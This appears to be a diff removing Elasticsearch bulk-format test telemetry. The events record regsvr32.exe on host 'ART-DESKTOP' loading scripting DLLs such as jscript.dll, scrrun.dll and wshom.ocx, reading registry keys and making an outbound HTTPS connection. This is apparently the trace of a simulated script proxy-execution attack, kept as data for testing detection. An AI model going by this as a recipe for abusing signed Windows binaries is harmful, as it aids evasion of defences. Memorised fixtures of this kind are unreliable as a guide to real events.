-{ "registry": { "path": "HKLM\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", "value": "Parameters", "key": "HKLM\\System\\CurrentControlSet\\Services\\Tcpip" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKLM\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", "value": "Parameters", "key": "HKLM\\System\\CurrentControlSet\\Services\\Tcpip" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\rasadhlp.dll", "name": "rasadhlp.dll" }, "@timestamp": 131883573238230000, "event": { "category": "library" } }
-{"index":{}}
-{ "registry": { "path": "HKLM\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", "value": "Parameters", "key": "HKLM\\System\\CurrentControlSet\\Services\\Tcpip" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKLM\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", "value": "Parameters", "key": "HKLM\\System\\CurrentControlSet\\Services\\Tcpip" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKLM\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", "value": "Parameters", "key": "HKLM\\System\\CurrentControlSet\\Services\\Tcpip" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKLM\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters", "value": "Parameters", "key": "HKLM\\System\\CurrentControlSet\\Services\\Tcpip" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238230000, "event": { "category": "registry" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\wininet.dll", "name": "wininet.dll" }, "@timestamp": 131883573237930000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\FWPUCLNT.DLL", "name": "FWPUCLNT.DLL" }, "@timestamp": 131883573238400000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\schannel.dll", "name": "schannel.dll" }, "@timestamp": 131883573238700016, "event": { "category": "library" } }
-{"index":{}}
-{ "registry": { "path": "HKLM\\System\\CurrentControlSet\\Control\\SecurityProviders\\SCHANNEL", "value": "SCHANNEL", "key": "HKLM\\System\\CurrentControlSet\\Control\\SecurityProviders" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238700016, "event": { "category": "registry" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\mskeyprotect.dll", "name": "mskeyprotect.dll" }, "@timestamp": 131883573238869984, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\ncrypt.dll", "name": "ncrypt.dll" }, "@timestamp": 131883573238869984, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\ntasn1.dll", "name": "ntasn1.dll" }, "@timestamp": 131883573238869984, "event": { "category": "library" } }
-{"index":{}}
-{ "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\WinTrust\\Trust Providers\\Software Publishing", "value": "Software Publishing", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\WinTrust\\Trust Providers" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238869984, "event": { "category": "registry" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\cryptnet.dll", "name": "cryptnet.dll" }, "@timestamp": 131883573238869984, "event": { "category": "library" } }
-{"index":{}}
-{ "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E\\LanguageList", "value": "LanguageList", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238869984, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E\\LanguageList", "value": "LanguageList", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238869984, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E\\LanguageList", "value": "LanguageList", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238869984, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E\\LanguageList", "value": "LanguageList", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238869984, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E\\LanguageList", "value": "LanguageList", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238869984, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E\\LanguageList", "value": "LanguageList", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238869984, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E\\LanguageList", "value": "LanguageList", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238869984, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E\\LanguageList", "value": "LanguageList", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238869984, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E\\LanguageList", "value": "LanguageList", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238869984, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E\\LanguageList", "value": "LanguageList", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238869984, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E\\LanguageList", "value": "LanguageList", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238869984, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E\\LanguageList", "value": "LanguageList", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238869984, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E\\LanguageList", "value": "LanguageList", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238869984, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E\\LanguageList", "value": "LanguageList", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238869984, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E\\LanguageList", "value": "LanguageList", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238869984, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E\\LanguageList", "value": "LanguageList", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000_Classes\\Local Settings\\MuiCache\\1\\52C64B7E" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573238869984, "event": { "category": "registry" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\ncryptsslp.dll", "name": "ncryptsslp.dll" }, "@timestamp": 131883573239170000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\clbcatq.dll", "name": "clbcatq.dll" }, "@timestamp": 131883573240110000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\wldp.dll", "name": "wldp.dll" }, "@timestamp": 131883573240110000, "event": { "category": "library" } }
-{"index":{}}
-{ "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\WinTrust\\Trust Providers\\Software Publishing", "value": "Software Publishing", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\WinTrust\\Trust Providers" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573240110000, "event": { "category": "registry" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\userenv.dll", "name": "userenv.dll" }, "@timestamp": 131883573240270000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\version.dll", "name": "version.dll" }, "@timestamp": 131883573240430000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\shell32.dll", "name": "shell32.dll" }, "@timestamp": 131883573240430000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\cfgmgr32.dll", "name": "cfgmgr32.dll" }, "@timestamp": 131883573240430000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\mpr.dll", "name": "mpr.dll" }, "@timestamp": 131883573240430000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\sxs.dll", "name": "sxs.dll" }, "@timestamp": 131883573240580000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\gpapi.dll", "name": "gpapi.dll" }, "@timestamp": 131883573240580000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\OneCoreUAPCommonProxyStub.dll", "name": "OneCoreUAPCommonProxyStub.dll" }, "@timestamp": 131883573240740000, "event": { "category": "library" } }
-{"index":{}}
-{ "registry": { "path": "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Desktop\\NameSpace", "value": "NameSpace", "key": "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Desktop" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573240740000, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Desktop\\NameSpace", "value": "NameSpace", "key": "HKU\\S-1-5-21-2047549730-3016700585-885829632-1000\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Desktop" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573240740000, "event": { "category": "registry" } }
-{"index":{}}
-{ "registry": { "path": "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Desktop\\NameSpace\\DelegateFolders", "value": "DelegateFolders", "key": "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Desktop\\NameSpace" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573240740000, "event": { "category": "registry" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\jscript.dll", "name": "jscript.dll" }, "@timestamp": 131883573240270000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\amsi.dll", "name": "amsi.dll" }, "@timestamp": 131883573240270000, "event": { "category": "library" } }
-{"index":{}}
-{ "registry": { "path": "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\SyncRootManager", "value": "SyncRootManager", "key": "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573240890000, "event": { "category": "registry" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\edputil.dll", "name": "edputil.dll" }, "@timestamp": 131883573240890000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\Windows.StateRepositoryPS.dll", "name": "Windows.StateRepositoryPS.dll" }, "@timestamp": 131883573240890000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.1810.5-0\\MpOAV.dll", "name": "MpOAV.dll" }, "@timestamp": 131883573240430000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\cldapi.dll", "name": "cldapi.dll" }, "@timestamp": 131883573241050000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\WinTypes.dll", "name": "WinTypes.dll" }, "@timestamp": 131883573241050000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\wshom.ocx", "name": "wshom.ocx" }, "@timestamp": 131883573240430000, "event": { "category": "library" } }
-{"index":{}}
-{ "registry": { "path": "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Notifications\\Data\\418A073AA3BC3475", "value": "418A073AA3BC3475", "key": "HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Notifications\\Data" }, "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\WINDOWS\\system32\\regsvr32.exe" }, "@timestamp": 131883573241200016, "event": { "category": "registry" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\Windows\\System32\\scrrun.dll", "name": "scrrun.dll" }, "@timestamp": 131883573240430000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "dll": { "path": "C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.1810.5-0\\MpClient.dll", "name": "MpClient.dll" }, "@timestamp": 131883573240580000, "event": { "category": "library" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "@timestamp": 131883573241369984, "event": { "category": "process", "type": "termination" } }
-{"index":{}}
-{ "process": { "name": "regsvr32.exe", "pid": 2012, "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}", "executable": "C:\\Windows\\System32\\regsvr32.exe" }, "destination": { "address": "151.101.48.133", "port": "443" }, "source": { "address": "192.168.162.134", "port": "50505" }, "network": { "direction": "outbound", "protocol": "tcp" }, "@timestamp": 131883573238680000, "event": { "category": "network" }, "user": { "full_name": "bob", "domain": "ART-DESKTOP", "id": "ART-DESKTOP\\bob" } }